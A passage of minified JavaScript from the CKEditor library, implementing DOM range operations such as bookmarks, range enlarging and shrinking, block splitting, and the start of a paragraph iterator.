e=this;do{e=e.getPreviousSourceNode()}while(a(e)||r(e)||e.type==CKEDITOR.NODE_ELEMENT&&e.is(CKEDITOR.dtd.$inline)&&!e.is(CKEDITOR.dtd.$empty));return!(!e||!(CKEDITOR.env.needsBrFiller?e.is&&e.is("br"):e.getText&&o.test(e.getText())))&&e}}(),CKEDITOR.dom.range=function(e){this.endOffset=this.endContainer=this.startOffset=this.startContainer=null,this.collapsed=!0;var t=e instanceof CKEDITOR.dom.document;this.document=t?e:e.getDocument(),this.root=t?e.getBody():e},function(){function e(){var e=!1,t=CKEDITOR.dom.walker.whitespaces(),n=CKEDITOR.dom.walker.bookmark(!0),i=CKEDITOR.dom.walker.bogus();return function(r){return!(!n(r)&&!t(r))||(i(r)&&!e?e=!0:!(r.type==CKEDITOR.NODE_TEXT&&(r.hasAscendant("pre")||CKEDITOR.tools.trim(r.getText()).length)||r.type==CKEDITOR.NODE_ELEMENT&&!r.is(o)))}}function t(e){return function(){var t;return this[e?"getPreviousNode":"getNextNode"]((function(e){return!t&&l(e)&&(t=e),s(e)&&!(r(e)&&e.equals(t))}))}}var n=function(e){e.collapsed=e.startContainer&&e.endContainer&&e.startContainer.equals(e.endContainer)&&e.startOffset==e.endOffset},i=function(e,t,n,i){e.optimizeBookmark();var o,r,a,s,l,c=e.startContainer,d=e.endContainer,u=e.startOffset,h=e.endOffset;for(d.type==CKEDITOR.NODE_TEXT?d=d.split(h):d.getChildCount()>0&&(h>=d.getChildCount()?(d=d.append(e.document.createText("")),r=!0):d=d.getChild(h)),c.type==CKEDITOR.NODE_TEXT?(c.split(u),c.equals(d)&&(d=c.getNext())):u?u>=c.getChildCount()?(c=c.append(e.document.createText("")),o=!0):c=c.getChild(u).getPrevious():(c=c.append(e.document.createText(""),1),o=!0),u=c.getParents(),h=d.getParents(),a=0;a<u.length&&(s=u[a],l=h[a],s.equals(l));a++);for(var m,f,E,g=n,T=a;T<u.length;T++){for(m=u[T],g&&!m.equals(c)&&(f=g.append(m.clone())),m=m.getNext();m&&!m.equals(h[T])&&!m.equals(d);)E=m.getNext(),2==t?g.append(m.clone(!0)):(m.remove(),1==t&&g.append(m)),m=E;g&&(g=f)}for(g=n,n=a;n<h.length;n++){if(m=h[n],t>0&&!m.equals(d)&&(f=g.append(m.clone())),!u[n]||m.$.parentNode!=u[n].$.parentNode)for(m=m.getPrevious();m&&!m.equals(u[n])&&!m.equals(c);)E=m.getPrevious(),2==t?g.$.insertBefore(m.$.cloneNode(!0),g.$.firstChild):(m.remove(),1==t&&g.$.insertBefore(m.$,g.$.firstChild)),m=E;g&&(g=f)}2==t?((s=e.startContainer).type==CKEDITOR.NODE_TEXT&&(s.$.data=s.$.data+s.$.nextSibling.data,s.$.parentNode.removeChild(s.$.nextSibling)),(e=e.endContainer).type==CKEDITOR.NODE_TEXT&&e.$.nextSibling&&(e.$.data=e.$.data+e.$.nextSibling.data,e.$.parentNode.removeChild(e.$.nextSibling))):(s&&l&&(c.$.parentNode!=s.$.parentNode||d.$.parentNode!=l.$.parentNode)&&(t=l.getIndex(),o&&l.$.parentNode==c.$.parentNode&&t--,i&&s.type==CKEDITOR.NODE_ELEMENT?((i=CKEDITOR.dom.element.createFromHtml('<span data-cke-bookmark="1" style="display:none"> </span>',e.document)).insertAfter(s),s.mergeSiblings(!1),e.moveToBookmark({startNode:i})):e.setStart(l.getParent(),t)),e.collapse(!0)),o&&c.remove(),r&&d.$.parentNode&&d.remove()},o={abbr:1,acronym:1,b:1,bdo:1,big:1,cite:1,code:1,del:1,dfn:1,em:1,font:1,i:1,ins:1,label:1,kbd:1,q:1,samp:1,small:1,span:1,strike:1,strong:1,sub:1,sup:1,tt:1,u:1,var:1},r=CKEDITOR.dom.walker.bogus(),a=/^[\t\r\n ]*(?: |\xa0)$/,s=CKEDITOR.dom.walker.editable(),l=CKEDITOR.dom.walker.ignored(!0);CKEDITOR.dom.range.prototype={clone:function(){var e=new CKEDITOR.dom.range(this.root);return e.startContainer=this.startContainer,e.startOffset=this.startOffset,e.endContainer=this.endContainer,e.endOffset=this.endOffset,e.collapsed=this.collapsed,e},collapse:function(e){e?(this.endContainer=this.startContainer,this.endOffset=this.startOffset):(this.startContainer=this.endContainer,this.startOffset=this.endOffset),this.collapsed=!0},cloneContents:function(){var e=new CKEDITOR.dom.documentFragment(this.document);return this.collapsed||i(this,2,e),e},deleteContents:function(e){this.collapsed||i(this,0,null,e)},extractContents:function(e){var t=new CKEDITOR.dom.documentFragment(this.document);return this.collapsed||i(this,1,t,e),t},createBookmark:function(e){var t,n,i,o,r=this.collapsed;return(t=this.document.createElement("span")).data("cke-bookmark",1),t.setStyle("display","none"),t.setHtml(" "),e&&(i="cke_bm_"+CKEDITOR.tools.getNextNumber(),t.setAttribute("id",i+(r?"C":"S"))),r||((n=t.clone()).setHtml(" "),e&&n.setAttribute("id",i+"E"),(o=this.clone()).collapse(),o.insertNode(n)),(o=this.clone()).collapse(!0),o.insertNode(t),n?(this.setStartAfter(t),this.setEndBefore(n)):this.moveToPosition(t,CKEDITOR.POSITION_AFTER_END),{startNode:e?i+(r?"C":"S"):t,endNode:e?i+"E":n,serializable:e,collapsed:r}},createBookmark2:function(){function e(e){var t,n=e.container,i=e.offset,o=i;if((t=(t=n).type!=CKEDITOR.NODE_ELEMENT||0===o||o==t.getChildCount()?0:t.getChild(o-1).type==CKEDITOR.NODE_TEXT&&t.getChild(o).type==CKEDITOR.NODE_TEXT)&&(i=(n=n.getChild(i-1)).getLength()),n.type==CKEDITOR.NODE_ELEMENT&&i>1&&(i=n.getChild(i-1).getIndex(!0)+1),n.type==CKEDITOR.NODE_TEXT){for(t=n,o=0;(t=t.getPrevious())&&t.type==CKEDITOR.NODE_TEXT;)o+=t.getLength();i+=o}e.container=n,e.offset=i}return function(t){var n=this.collapsed,i={container:this.startContainer,offset:this.startOffset},o={container:this.endContainer,offset:this.endOffset};return t&&(e(i),n||e(o)),{start:i.container.getAddress(t),end:n?null:o.container.getAddress(t),startOffset:i.offset,endOffset:o.offset,normalized:t,collapsed:n,is2:!0}}}(),moveToBookmark:function(e){if(e.is2){var t=this.document.getByAddress(e.start,e.normalized),n=e.startOffset,i=e.end&&this.document.getByAddress(e.end,e.normalized);e=e.endOffset,this.setStart(t,n),i?this.setEnd(i,e):this.collapse(!0)}else t=(n=e.serializable)?this.document.getById(e.startNode):e.startNode,e=n?this.document.getById(e.endNode):e.endNode,this.setStartBefore(t),t.remove(),e?(this.setEndBefore(e),e.remove()):this.collapse(!0)},getBoundaryNodes:function(){var e,t=this.startContainer,n=this.endContainer,i=this.startOffset,o=this.endOffset;if(t.type==CKEDITOR.NODE_ELEMENT)if((e=t.getChildCount())>i)t=t.getChild(i);else if(e<1)t=t.getPreviousSourceNode();else{for(t=t.$;t.lastChild;)t=t.lastChild;t=(t=new CKEDITOR.dom.node(t)).getNextSourceNode()||t}if(n.type==CKEDITOR.NODE_ELEMENT)if((e=n.getChildCount())>o)n=n.getChild(o).getPreviousSourceNode(!0);else if(e<1)n=n.getPreviousSourceNode();else{for(n=n.$;n.lastChild;)n=n.lastChild;n=new CKEDITOR.dom.node(n)}return t.getPosition(n)&CKEDITOR.POSITION_FOLLOWING&&(t=n),{startNode:t,endNode:n}},getCommonAncestor:function(e,t){var n=this.startContainer,i=this.endContainer;return n=n.equals(i)?e&&n.type==CKEDITOR.NODE_ELEMENT&&this.startOffset==this.endOffset-1?n.getChild(this.startOffset):n:n.getCommonAncestor(i),t&&!n.is?n.getParent():n},optimize:function(){var e=this.startContainer,t=this.startOffset;e.type!=CKEDITOR.NODE_ELEMENT&&(t?t>=e.getLength()&&this.setStartAfter(e):this.setStartBefore(e)),e=this.endContainer,t=this.endOffset,e.type!=CKEDITOR.NODE_ELEMENT&&(t?t>=e.getLength()&&this.setEndAfter(e):this.setEndBefore(e))},optimizeBookmark:function(){var e=this.startContainer,t=this.endContainer;e.is&&e.is("span")&&e.data("cke-bookmark")&&this.setStartAt(e,CKEDITOR.POSITION_BEFORE_START),t&&t.is&&t.is("span")&&t.data("cke-bookmark")&&this.setEndAt(t,CKEDITOR.POSITION_AFTER_END)},trim:function(e,t){var n=this.startContainer,i=this.startOffset,o=this.collapsed;if((!e||o)&&n&&n.type==CKEDITOR.NODE_TEXT){if(i)if(i>=n.getLength())i=n.getIndex()+1,n=n.getParent();else{var r=n.split(i);i=n.getIndex()+1,n=n.getParent(),this.startContainer.equals(this.endContainer)?this.setEnd(r,this.endOffset-this.startOffset):n.equals(this.endContainer)&&(this.endOffset=this.endOffset+1)}else i=n.getIndex(),n=n.getParent();if(this.setStart(n,i),o)return void this.collapse(!0)}n=this.endContainer,i=this.endOffset,t||o||!n||n.type!=CKEDITOR.NODE_TEXT||(i?(i>=n.getLength()||n.split(i),i=n.getIndex()+1):i=n.getIndex(),n=n.getParent(),this.setEnd(n,i))},enlarge:function(e,t){function n(e){return e&&e.type==CKEDITOR.NODE_ELEMENT&&e.hasAttribute("contenteditable")?null:e}switch(e){case CKEDITOR.ENLARGE_INLINE:var i=1;case CKEDITOR.ENLARGE_ELEMENT:if(this.collapsed)break;var o,r,a,s,l,c,d,u=this.getCommonAncestor(),h=this.root,m=!1;for(c=this.startContainer,d=this.startOffset,c.type==CKEDITOR.NODE_TEXT?(d&&(m=!!(c=!CKEDITOR.tools.trim(c.substring(0,d)).length&&c)),c&&!(s=c.getPrevious())&&(a=c.getParent())):(d&&(s=c.getChild(d-1)||c.getLast()),s||(a=c)),a=n(a);a||s;){if(a&&!s){if(!l&&a.equals(u)&&(l=!0),i?a.isBlockBoundary():!h.contains(a))break;m&&"inline"==a.getComputedStyle("display")||(m=!1,l?o=a:this.setStartBefore(a)),s=a.getPrevious()}for(;s;)if(c=!1,s.type==CKEDITOR.NODE_COMMENT)s=s.getPrevious();else{if(s.type==CKEDITOR.NODE_TEXT)d=s.getText(),/[^\s\ufeff]/.test(d)&&(s=null),c=/[\s\ufeff]$/.test(d);else if((s.$.offsetWidth>0||t&&s.is("br"))&&!s.data("cke-bookmark"))if(m&&CKEDITOR.dtd.$removeEmpty[s.getName()]){if(d=s.getText(),/[^\s\ufeff]/.test(d))s=null;else for(var f,E=s.$.getElementsByTagName("*"),g=0;f=E[g++];)if(!CKEDITOR.dtd.$removeEmpty[f.nodeName.toLowerCase()]){s=null;break}s&&(c=!!d.length)}else s=null;if(c&&(m?l?o=a:a&&this.setStartBefore(a):m=!0),s){if(c=s.getPrevious(),!a&&!c){a=s,s=null;break}s=c}else a=null}a&&(a=n(a.getParent()))}for(c=this.endContainer,d=this.endOffset,a=s=null,l=m=!1,c.type==CKEDITOR.NODE_TEXT?(m=!((c=!CKEDITOR.tools.trim(c.substring(d)).length&&c)&&c.getLength()),c&&!(s=c.getNext())&&(a=c.getParent())):(s=c.getChild(d))||(a=c);a||s;){if(a&&!s){if(!l&&a.equals(u)&&(l=!0),i?a.isBlockBoundary():!h.contains(a))break;m&&"inline"==a.getComputedStyle("display")||(m=!1,l?r=a:a&&this.setEndAfter(a)),s=a.getNext()}for(;s;){if(c=!1,s.type==CKEDITOR.NODE_TEXT)d=s.getText(),/[^\s\ufeff]/.test(d)&&(s=null),c=/^[\s\ufeff]/.test(d);else if(s.type==CKEDITOR.NODE_ELEMENT){if((s.$.offsetWidth>0||t&&s.is("br"))&&!s.data("cke-bookmark"))if(m&&CKEDITOR.dtd.$removeEmpty[s.getName()]){if(d=s.getText(),/[^\s\ufeff]/.test(d))s=null;else for(E=s.$.getElementsByTagName("*"),g=0;f=E[g++];)if(!CKEDITOR.dtd.$removeEmpty[f.nodeName.toLowerCase()]){s=null;break}s&&(c=!!d.length)}else s=null}else c=1;if(c&&m&&(l?r=a:this.setEndAfter(a)),s){if(c=s.getNext(),!a&&!c){a=s,s=null;break}s=c}else a=null}a&&(a=n(a.getParent()))}o&&r&&(u=o.contains(r)?r:o,this.setStartBefore(u),this.setEndAfter(u));break;case CKEDITOR.ENLARGE_BLOCK_CONTENTS:case CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:a=new CKEDITOR.dom.range(this.root),h=this.root,a.setStartAt(h,CKEDITOR.POSITION_AFTER_START),a.setEnd(this.startContainer,this.startOffset),a=new CKEDITOR.dom.walker(a);var T,p,C=CKEDITOR.dom.walker.blockBoundary(e==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?{br:1}:null),I=null,O=function(e){if(e.type==CKEDITOR.NODE_ELEMENT&&"false"==e.getAttribute("contenteditable"))if(I){if(I.equals(e))return void(I=null)}else I=e;else if(I)return;var t=C(e);return t||(T=e),t};if(i=function(e){var t=O(e);return!t&&e.is&&e.is("br")&&(p=e),t},a.guard=O,a=a.lastBackward(),T=T||h,this.setStartAt(T,!T.is("br")&&(!a&&this.checkStartOfBlock()||a&&T.contains(a))?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_AFTER_END),e==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS){a=this.clone(),a=new CKEDITOR.dom.walker(a);var D=CKEDITOR.dom.walker.whitespaces(),R=CKEDITOR.dom.walker.bookmark();if(a.evaluator=function(e){return!D(e)&&!R(e)},(a=a.previous())&&a.type==CKEDITOR.NODE_ELEMENT&&a.is("br"))break}(a=this.clone()).collapse(),a.setEndAt(h,CKEDITOR.POSITION_BEFORE_END),(a=new CKEDITOR.dom.walker(a)).guard=e==CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS?i:O,T=null,a=a.lastForward(),T=T||h,this.setEndAt(T,!a&&this.checkEndOfBlock()||a&&T.contains(a)?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_BEFORE_START),p&&this.setEndAfter(p)}},shrink:function(e,t,n){if(!this.collapsed){e=e||CKEDITOR.SHRINK_TEXT;var i=this.clone(),o=this.startContainer,r=this.endContainer,a=this.startOffset,s=this.endOffset,l=1,c=1;o&&o.type==CKEDITOR.NODE_TEXT&&(a?a>=o.getLength()?i.setStartAfter(o):(i.setStartBefore(o),l=0):i.setStartBefore(o)),r&&r.type==CKEDITOR.NODE_TEXT&&(s?s>=r.getLength()?i.setEndAfter(r):(i.setEndAfter(r),c=0):i.setEndBefore(r)),i=new CKEDITOR.dom.walker(i);var d,u=CKEDITOR.dom.walker.bookmark();return i.evaluator=function(t){return t.type==(e==CKEDITOR.SHRINK_ELEMENT?CKEDITOR.NODE_ELEMENT:CKEDITOR.NODE_TEXT)},i.guard=function(t,i){return!!u(t)||!(e==CKEDITOR.SHRINK_ELEMENT&&t.type==CKEDITOR.NODE_TEXT||i&&t.equals(d)||!1===n&&t.type==CKEDITOR.NODE_ELEMENT&&t.isBlockBoundary()||t.type==CKEDITOR.NODE_ELEMENT&&t.hasAttribute("contenteditable"))&&(!i&&t.type==CKEDITOR.NODE_ELEMENT&&(d=t),!0)},l&&(o=i[e==CKEDITOR.SHRINK_ELEMENT?"lastForward":"next"]())&&this.setStartAt(o,t?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_START),c&&(i.reset(),(i=i[e==CKEDITOR.SHRINK_ELEMENT?"lastBackward":"previous"]())&&this.setEndAt(i,t?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_END)),!(!l&&!c)}},insertNode:function(e){this.optimizeBookmark(),this.trim(!1,!0);var t=this.startContainer,n=t.getChild(this.startOffset);n?e.insertBefore(n):t.append(e),e.getParent()&&e.getParent().equals(this.endContainer)&&this.endOffset++,this.setStartBefore(e)},moveToPosition:function(e,t){this.setStartAt(e,t),this.collapse(!0)},moveToRange:function(e){this.setStart(e.startContainer,e.startOffset),this.setEnd(e.endContainer,e.endOffset)},selectNodeContents:function(e){this.setStart(e,0),this.setEnd(e,e.type==CKEDITOR.NODE_TEXT?e.getLength():e.getChildCount())},setStart:function(e,t){e.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[e.getName()]&&(t=e.getIndex(),e=e.getParent()),this.startContainer=e,this.startOffset=t,this.endContainer||(this.endContainer=e,this.endOffset=t),n(this)},setEnd:function(e,t){e.type==CKEDITOR.NODE_ELEMENT&&CKEDITOR.dtd.$empty[e.getName()]&&(t=e.getIndex()+1,e=e.getParent()),this.endContainer=e,this.endOffset=t,this.startContainer||(this.startContainer=e,this.startOffset=t),n(this)},setStartAfter:function(e){this.setStart(e.getParent(),e.getIndex()+1)},setStartBefore:function(e){this.setStart(e.getParent(),e.getIndex())},setEndAfter:function(e){this.setEnd(e.getParent(),e.getIndex()+1)},setEndBefore:function(e){this.setEnd(e.getParent(),e.getIndex())},setStartAt:function(e,t){switch(t){case CKEDITOR.POSITION_AFTER_START:this.setStart(e,0);break;case CKEDITOR.POSITION_BEFORE_END:e.type==CKEDITOR.NODE_TEXT?this.setStart(e,e.getLength()):this.setStart(e,e.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setStartBefore(e);break;case CKEDITOR.POSITION_AFTER_END:this.setStartAfter(e)}n(this)},setEndAt:function(e,t){switch(t){case CKEDITOR.POSITION_AFTER_START:this.setEnd(e,0);break;case CKEDITOR.POSITION_BEFORE_END:e.type==CKEDITOR.NODE_TEXT?this.setEnd(e,e.getLength()):this.setEnd(e,e.getChildCount());break;case CKEDITOR.POSITION_BEFORE_START:this.setEndBefore(e);break;case CKEDITOR.POSITION_AFTER_END:this.setEndAfter(e)}n(this)},fixBlock:function(e,t){var n=this.createBookmark(),i=this.document.createElement(t);return this.collapse(e),this.enlarge(CKEDITOR.ENLARGE_BLOCK_CONTENTS),this.extractContents().appendTo(i),i.trim(),i.appendBogus(),this.insertNode(i),this.moveToBookmark(n),i},splitBlock:function(e){var t=new CKEDITOR.dom.elementPath(this.startContainer,this.root),n=new CKEDITOR.dom.elementPath(this.endContainer,this.root),i=t.block,o=n.block,r=null;return t.blockLimit.equals(n.blockLimit)?("br"!=e&&(i||(i=this.fixBlock(!0,e),o=new CKEDITOR.dom.elementPath(this.endContainer,this.root).block),o||(o=this.fixBlock(!1,e))),e=i&&this.checkStartOfBlock(),t=o&&this.checkEndOfBlock(),this.deleteContents(),i&&i.equals(o)&&(t?(r=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(o,CKEDITOR.POSITION_AFTER_END),o=null):e?(r=new CKEDITOR.dom.elementPath(this.startContainer,this.root),this.moveToPosition(i,CKEDITOR.POSITION_BEFORE_START),i=null):(o=this.splitElement(i),i.is("ul","ol")||i.appendBogus())),{previousBlock:i,nextBlock:o,wasStartOfBlock:e,wasEndOfBlock:t,elementPath:r}):null},splitElement:function(e){if(!this.collapsed)return null;this.setEndAt(e,CKEDITOR.POSITION_BEFORE_END);var t=this.extractContents(),n=e.clone(!1);return t.appendTo(n),n.insertAfter(e),this.moveToPosition(e,CKEDITOR.POSITION_AFTER_END),n},removeEmptyBlocksAtEnd:function(){function e(e){return function(i){return!(t(i)||n(i)||i.type==CKEDITOR.NODE_ELEMENT&&i.isEmptyInlineRemoveable()||e.is("table")&&i.is("caption"))}}var t=CKEDITOR.dom.walker.whitespaces(),n=CKEDITOR.dom.walker.bookmark(!1);return function(t){for(var n,i=this.createBookmark(),o=this[t?"endPath":"startPath"](),r=o.block||o.blockLimit;r&&!r.equals(o.root)&&!r.getFirst(e(r));)n=r.getParent(),this[t?"setEndAt":"setStartAt"](r,CKEDITOR.POSITION_AFTER_END),r.remove(1),r=n;this.moveToBookmark(i)}}(),startPath:function(){return new CKEDITOR.dom.elementPath(this.startContainer,this.root)},endPath:function(){return new CKEDITOR.dom.elementPath(this.endContainer,this.root)},checkBoundaryOfElement:function(e,t){var n=t==CKEDITOR.START,i=this.clone();return i.collapse(n),i[n?"setStartAt":"setEndAt"](e,n?CKEDITOR.POSITION_AFTER_START:CKEDITOR.POSITION_BEFORE_END),(i=new CKEDITOR.dom.walker(i)).evaluator=function(e){var t=CKEDITOR.dom.walker.whitespaces(),n=CKEDITOR.dom.walker.bookmark(1);return function(i){return!(!n(i)&&!t(i))||!e&&r(i)||i.type==CKEDITOR.NODE_ELEMENT&&i.is(CKEDITOR.dtd.$removeEmpty)}}(n),i[n?"checkBackward":"checkForward"]()},checkStartOfBlock:function(){var t=this.startContainer,n=this.startOffset;return CKEDITOR.env.ie&&n&&t.type==CKEDITOR.NODE_TEXT&&(t=CKEDITOR.tools.ltrim(t.substring(0,n)),a.test(t)&&this.trim(0,1)),this.trim(),t=new CKEDITOR.dom.elementPath(this.startContainer,this.root),(n=this.clone()).collapse(!0),n.setStartAt(t.block||t.blockLimit,CKEDITOR.POSITION_AFTER_START),(t=new CKEDITOR.dom.walker(n)).evaluator=e(),t.checkBackward()},checkEndOfBlock:function(){var t=this.endContainer,n=this.endOffset;return CKEDITOR.env.ie&&t.type==CKEDITOR.NODE_TEXT&&(t=CKEDITOR.tools.rtrim(t.substring(n)),a.test(t)&&this.trim(1,0)),this.trim(),t=new CKEDITOR.dom.elementPath(this.endContainer,this.root),(n=this.clone()).collapse(!1),n.setEndAt(t.block||t.blockLimit,CKEDITOR.POSITION_BEFORE_END),(t=new CKEDITOR.dom.walker(n)).evaluator=e(),t.checkForward()},getPreviousNode:function(e,t,n){var i=this.clone();return i.collapse(1),i.setStartAt(n||this.root,CKEDITOR.POSITION_AFTER_START),(n=new CKEDITOR.dom.walker(i)).evaluator=e,n.guard=t,n.previous()},getNextNode:function(e,t,n){var i=this.clone();return i.collapse(),i.setEndAt(n||this.root,CKEDITOR.POSITION_BEFORE_END),(n=new CKEDITOR.dom.walker(i)).evaluator=e,n.guard=t,n.next()},checkReadOnly:function(){function e(e,t){for(;e;){if(e.type==CKEDITOR.NODE_ELEMENT){if("false"==e.getAttribute("contentEditable")&&!e.data("cke-editable"))return 0;if(e.is("html")||"true"==e.getAttribute("contentEditable")&&(e.contains(t)||e.equals(t)))break}e=e.getParent()}return 1}return function(){var t=this.startContainer,n=this.endContainer;return!(e(t,n)&&e(n,t))}}(),moveToElementEditablePosition:function(e,t){if(e.type==CKEDITOR.NODE_ELEMENT&&!e.isEditable(!1))return this.moveToPosition(e,t?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START),!0;for(var n=0;e;){if(e.type==CKEDITOR.NODE_TEXT){t&&this.endContainer&&this.checkEndOfBlock()&&a.test(e.getText())?this.moveToPosition(e,CKEDITOR.POSITION_BEFORE_START):this.moveToPosition(e,t?CKEDITOR.POSITION_AFTER_END:CKEDITOR.POSITION_BEFORE_START),n=1;break}if(e.type==CKEDITOR.NODE_ELEMENT)if(e.isEditable())this.moveToPosition(e,t?CKEDITOR.POSITION_BEFORE_END:CKEDITOR.POSITION_AFTER_START),n=1;else if(t&&e.is("br")&&this.endContainer&&this.checkEndOfBlock())this.moveToPosition(e,CKEDITOR.POSITION_BEFORE_START);else if("false"==e.getAttribute("contenteditable")&&e.is(CKEDITOR.dtd.$block))return this.setStartBefore(e),this.setEndAfter(e),!0;var i=e,o=n,r=void 0;i.type==CKEDITOR.NODE_ELEMENT&&i.isEditable(!1)&&(r=i[t?"getLast":"getFirst"](l)),!o&&!r&&(r=i[t?"getPrevious":"getNext"](l)),e=r}return!!n},moveToClosestEditablePosition:function(e,t){var n,i=new CKEDITOR.dom.range(this.root),o=0,r=[CKEDITOR.POSITION_AFTER_END,CKEDITOR.POSITION_BEFORE_START];return i.moveToPosition(e,r[t?0:1]),e.is(CKEDITOR.dtd.$block)?(n=i[t?"getNextEditableNode":"getPreviousEditableNode"]())&&(o=1,n.type==CKEDITOR.NODE_ELEMENT&&n.is(CKEDITOR.dtd.$block)&&"false"==n.getAttribute("contenteditable")?(i.setStartAt(n,CKEDITOR.POSITION_BEFORE_START),i.setEndAt(n,CKEDITOR.POSITION_AFTER_END)):i.moveToPosition(n,r[t?1:0])):o=1,o&&this.moveToRange(i),!!o},moveToElementEditStart:function(e){return this.moveToElementEditablePosition(e)},moveToElementEditEnd:function(e){return this.moveToElementEditablePosition(e,!0)},getEnclosedNode:function(){if((e=this.clone()).optimize(),e.startContainer.type!=CKEDITOR.NODE_ELEMENT||e.endContainer.type!=CKEDITOR.NODE_ELEMENT)return null;var e=new CKEDITOR.dom.walker(e),t=CKEDITOR.dom.walker.bookmark(!1,!0),n=CKEDITOR.dom.walker.whitespaces(!0);e.evaluator=function(e){return n(e)&&t(e)};var i=e.next();return e.reset(),i&&i.equals(e.previous())?i:null},getTouchedStartNode:function(){var e=this.startContainer;return this.collapsed||e.type!=CKEDITOR.NODE_ELEMENT?e:e.getChild(this.startOffset)||e},getTouchedEndNode:function(){var e=this.endContainer;return this.collapsed||e.type!=CKEDITOR.NODE_ELEMENT?e:e.getChild(this.endOffset-1)||e},getNextEditableNode:t(),getPreviousEditableNode:t(1),scrollIntoView:function(){var e,t,n,i=new CKEDITOR.dom.element.createFromHtml("<span> </span>",this.document),o=this.clone();o.optimize(),(n=o.startContainer.type==CKEDITOR.NODE_TEXT)?(t=o.startContainer.getText(),e=o.startContainer.split(o.startOffset),i.insertAfter(o.startContainer)):o.insertNode(i),i.scrollIntoView(),n&&(o.startContainer.setText(t),e.remove()),i.remove()}}}(),CKEDITOR.POSITION_AFTER_START=1,CKEDITOR.POSITION_BEFORE_END=2,CKEDITOR.POSITION_BEFORE_START=3,CKEDITOR.POSITION_AFTER_END=4,CKEDITOR.ENLARGE_ELEMENT=1,CKEDITOR.ENLARGE_BLOCK_CONTENTS=2,CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS=3,CKEDITOR.ENLARGE_INLINE=4,CKEDITOR.START=1,CKEDITOR.END=2,CKEDITOR.SHRINK_ELEMENT=1,CKEDITOR.SHRINK_TEXT=2,function(){function e(e){arguments.length<1||(this.range=e,this.forceBrBreak=0,this.enlargeBr=1,this.enforceRealBlocks=0,this._||(this._={}))}function t(e,t,n){for(e=e.getNextSourceNode(t,null,n);!o(e);)e=e.getNextSourceNode(t,null,n);return e}function n(e,t,i,o){e:{null==o&&(o=function(e){var t=[];return e.forEach((function(e){if("true"==e.getAttribute("contenteditable"))return t.push(e),!1}),CKEDITOR.NODE_ELEMENT,!0),t}(i));for(var r;r=o.shift();)if(r.getDtd().p){o={element:r,remaining:o};break e}o=null}return o?(r=CKEDITOR.filter.instances[o.element.data("cke-filter")])&&!r.check(t)?n(e,t,i,o.remaining):((t=new CKEDITOR.dom.range(o.element)).selectNodeContents(o.element),(t=t.createIterator()).enlargeBr=e.enlargeBr,t.enforceRealBlocks=e.enforceRealBlocks,t.activeFilter=t.filter=r,e._.nestedEditable={element:o.element,container:i,remaining:o.remaining,iterator:t},1):0}var i=/^[\r\n\t ]+$/,o=CKEDITOR.dom.walker.bookmark(!1,!0),r=CKEDITOR.dom.walker.whitespaces(!0),a=function(e){return o(e)&&r(e)};e.prototype={getNextParagraph:function(e){var r,s,l,c,d;if(e=e||"p",this._.nestedEditable){if(r=this._.nestedEditable.iterator.getNextParagraph(e))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,r;if(this.activeFilter=this.filter,n(this,e,this._.nestedEditable.container,this._.nestedEditable.remaining))return this.activeFilter=this._.nestedEditable.iterator.activeFilter,this._.nestedEditable.iterator.getNextParagraph(e);this._.nestedEditable=null}if(!this.range.root.getDtd()[e])return null;if(!this._.started){var u=this.range.clone();if(u.shrink(CKEDITOR.SHRINK_ELEMENT,!0),s=u.endContainer.hasAscendant("pre",!0)||u.startContainer.hasAscendant("pre",!0),u.enlarge(this.forceBrBreak&&!s||!this.enlargeBr?CKEDITOR.ENLARGE_LIST_ITEM_CONTENTS:CKEDITOR.ENLARGE_BLOCK_CONTENTS),!u.collapsed){s=new CKEDITOR.dom.walker(u.clone());var h=CKEDITOR.dom.walker.bookmark(!0,!0);s.evaluator=h,this._.nextNode=s.next(),(s=new CKEDITOR.dom.walker(u.clone())).evaluator=h,s=s.previous(),this._.lastNode=s.getNextSourceNode(!0),this._.lastNode&&this._.lastNode.type==CKEDITOR.NODE_TEXT&&!CKEDITOR.tools.trim(this._.lastNode.getText())&&this._.lastNode.getParent().isBlockBoundary()&&((h=this.range.clone()).moveToPosition(this._.lastNode,CKEDITOR.POSITION_AFTER_END),h.checkEndOfBlock()&&(h=new CKEDITOR.dom.elementPath(h.endContainer,h.root),this._.lastNode=(h.block||h.blockLimit).getNextSourceNode(!0))),this._.lastNode&&u.root.contains(this._.lastNode)||(this._.lastNode=this._.docEndMarker=u.document.createText(""),this._.lastNode.insertAfter(s)),u=null}this._.started=1,s=u}for(h=this._.nextNode,u=this._.lastNode,this._.nextNode=null;h;){var m=0,f=h.hasAscendant("pre"),E=h.type!=CKEDITOR.NODE_ELEMENT,g=0;if(E)h.type==CKEDITOR.NODE_TEXT&&i.test(h.getText())&&(E=0);else{var T=h.getName();if(CKEDITOR.dtd.$block[T]&&"false"==h.getAttribute("contenteditable")){n(this,e,r=h);break}if(h.isBlockBoundary(this.forceBrBreak&&!f&&{br:1})){if("br"==T)E=1;else 